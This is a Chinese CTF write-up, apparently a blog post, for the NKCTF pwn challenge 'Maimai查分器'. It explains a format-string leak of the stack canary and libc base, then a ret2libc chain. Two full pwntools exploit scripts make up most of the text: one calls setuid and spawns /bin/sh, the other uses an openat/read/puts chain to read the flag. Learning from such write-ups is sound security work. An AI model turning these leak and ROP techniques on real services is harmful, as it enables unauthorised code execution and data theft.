本文最后更新于 2024年10月23日 晚上
NKCTF–pwn–Maimai查分器
Maimai查分器
保护全开
存在格式化字符串漏洞
第一步:先测速率,输入15.0 SSS+ 50次获得最高速率

1 2 3 4
| sl(b'1') #debug() for i in range(50): sl(b'15.0 SSS+')
|

然后利用格式化字符串去泄露,本来想一口气全部泄露的,但是只有8个字节,那就分两次
然后打ret2libc即可
本地通了,但是不知道为啥远程通不了

怀疑可能远程的内部程序偏移不同,用-1到-8,+1到+8试,结果到+4的时候,欸?(后来发现是第二个payload里的4个A给输进去了)

但是没有权限,syscall禁用了open,所以用libc里的openat来读写

这里出现了好多问题,因为一次只能read0x80字节,本来尝试泄露返回地址,然后多次回转,结果中间会崩溃。
转换思路:栈溢出后自行用一个read,设置特别大的字节,由于想用orw嘛,就泄露了栈的地址,同时也可以作为这个read的地址。往栈上写./flag\x00\x00的名字,然后再用read来写orw。将两次的联合到一起。
1 2 3 4 5
| payload = b'./flag\x00\x00'+b'A'*(0x30-8-8)+p64(canary)+p64(0)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(stack_addr+0x80)+p64(pop_rdx_rbx)+p64(0x200)*2+p64(read_addr)+p64(pop_rdi) payload +=p64(0xffffff9c)+p64(pop_rsi)+p64(stack_addr)+p64(pop_rdx_rbx)+p64(0)*2+p64(openat_addr) payload +=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(stack_addr+0x200)+p64(pop_rdx_rbx)+p64(0x30)*2+p64(read_addr) payload +=p64(pop_rdi)+p64(stack_addr+0x200)+p64(puts_addr)
|
虽然但是,这么做真的好麻烦好麻烦好麻烦。另外:突然发现那里又不用+4了???(不知道是不是修复了还是我的问题)没加是因为我本地之前正常不用+,然后本地调完忘了改,现在突然发现。。。
对了,而且openat的参数不知道为什么第一个是0xffffff9c???不是这个都不行,关于我怎么知道的呢?
自己编译了一个看了看:dog:,让gpt给写的用openat打开一个文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| #include <fcntl.h> #include <unistd.h> #include <stdio.h>
int main() { int fd = openat(AT_FDCWD, "./flag", O_RDONLY); if (fd == -1) { perror("Error opening the file"); return 1; } close(fd); return 0; }
|
调到对应的位置看

好吧好吧,总算是做出来一个,没被零封()()
出题人用了setuid来获得这个权限,用system获取shell后ls -la 可以看到这个pwn文件被赋予了s权限(可以setuid)

在setuid之后再system就可以cat flag 了

出题人的单独授予题目权限的特殊做法exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| from pwn import* context(log_level='debug',arch='amd64',os='linux')
p=remote('node.nkctf.yuzhian.com.cn',39213) sl = lambda s :p.sendline(s) sd = lambda s :p.send(s) rc = lambda s :p.recv(s) ru = lambda s :p.recvuntil(s) rl = lambda :p.recvline()
def debug(): gdb.attach(p) pause(1)
sl(b'1')
for i in range(50): sl(b'15.0 SSS+') sl(b'2')
sd(b'%7$p') offset = 0x7f49d9a29d90 - 0x7f49d9a00000 ru('0x') canary = int(rc(16),16) print(hex(canary)) sd('xyyr')
sl(b'2')
sd(b'%13$p') ru('0x') libc_base = int(rc(12),16) - offset print(hex(libc_base)) sd('xyyr')
libc = ELF('/home/kali/Desktop/libc-2.35.so') system_addr = libc_base + libc.sym['system'] bin_sh = libc_base + next(libc.search(b'/bin/sh'))
pop_rdi = libc_base + 0x000000000002a3e5 pop_ret = libc_base + 0x0000000000029139 pop_rdx_rbx = libc_base + 0x00000000000904a9 pop_rsi = libc_base + 0x000000000002be51 setuid_addr = libc_base + libc.sym['setuid'] sl(b'2') sd(b'xyyrxyyr') rl() payload= b"A"*(0x30-8)+p64(canary)*2+p64(pop_rdi)+p64(0)+p64(setuid_addr)+p64(pop_rdi)+p64(bin_sh)+p64(system_addr) sd(payload) p.interactive()
|
繁杂且麻烦且中间之前步骤有的需要但后面改的思路不需要的地址还存在的麻烦(但是第一的大佬也是这么做的,这个通用)exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| from pwn import* context(log_level='debug',arch='amd64',os='linux') #p=process('./pwn') p=remote('node.nkctf.yuzhian.com.cn',39727) sl = lambda s :p.sendline(s) sd = lambda s :p.send(s) rc = lambda s :p.recv(s) ru = lambda s :p.recvuntil(s) rl = lambda :p.recvline()
def debug(): gdb.attach(p) pause(1)
sl(b'1') #debug() for i in range(50): sl(b'15.0 SSS+') sl(b'2') #debug() sd(b'%7$p') offset = 0x7f49d9a29d90 - 0x7f49d9a00000 ru('0x') canary = int(rc(16),16) print(hex(canary)) sd('xyyr')
sl(b'2') #debug() sd(b'%13$p') ru('0x') libc_base = int(rc(12),16) - offset print(hex(libc_base)) sd('xyyr')
libc = ELF('/home/kali/Desktop/libc-2.35.so') #system_addr = libc_base + libc.sym['system'] #bin_sh = libc_base + next(libc.search(b'/bin/sh'))
pop_rdi = libc_base + 0x000000000002a3e5 pop_ret = libc_base + 0x0000000000029139 pop_rdx_rbx = libc_base + 0x00000000000904a9 pop_rsi = libc_base + 0x000000000002be51 openat_addr = libc_base + libc.sym['openat'] read_addr = libc_base +libc.sym['read'] puts_addr = libc_base +libc.sym['puts']
#debug() sl(b'2') #debug() sd(b'%8$p') ru('0x')
stack_addr = int(rc(12),16)-0x70 #print(hex(stack)) sd(b'xyyr')
sl(b'2') sd(b'%9$p') ru('0x') ret_addr = int(rc(12),16) print(hex(ret_addr))
payload = b'./flag\x00\x00'+b'A'*(0x30-8-8)+p64(canary)+p64(0)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(stack_addr+0x80)+p64(pop_rdx_rbx)+p64(0x200)*2+p64(read_addr)+p64(pop_rdi) payload +=p64(0xffffff9c)+p64(pop_rsi)+p64(stack_addr)+p64(pop_rdx_rbx)+p64(0)*2+p64(openat_addr) payload +=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(stack_addr+0x200)+p64(pop_rdx_rbx)+p64(0x30)*2+p64(read_addr) payload +=p64(pop_rdi)+p64(stack_addr+0x200)+p64(puts_addr) #debug() sd(payload) p.interactive()
|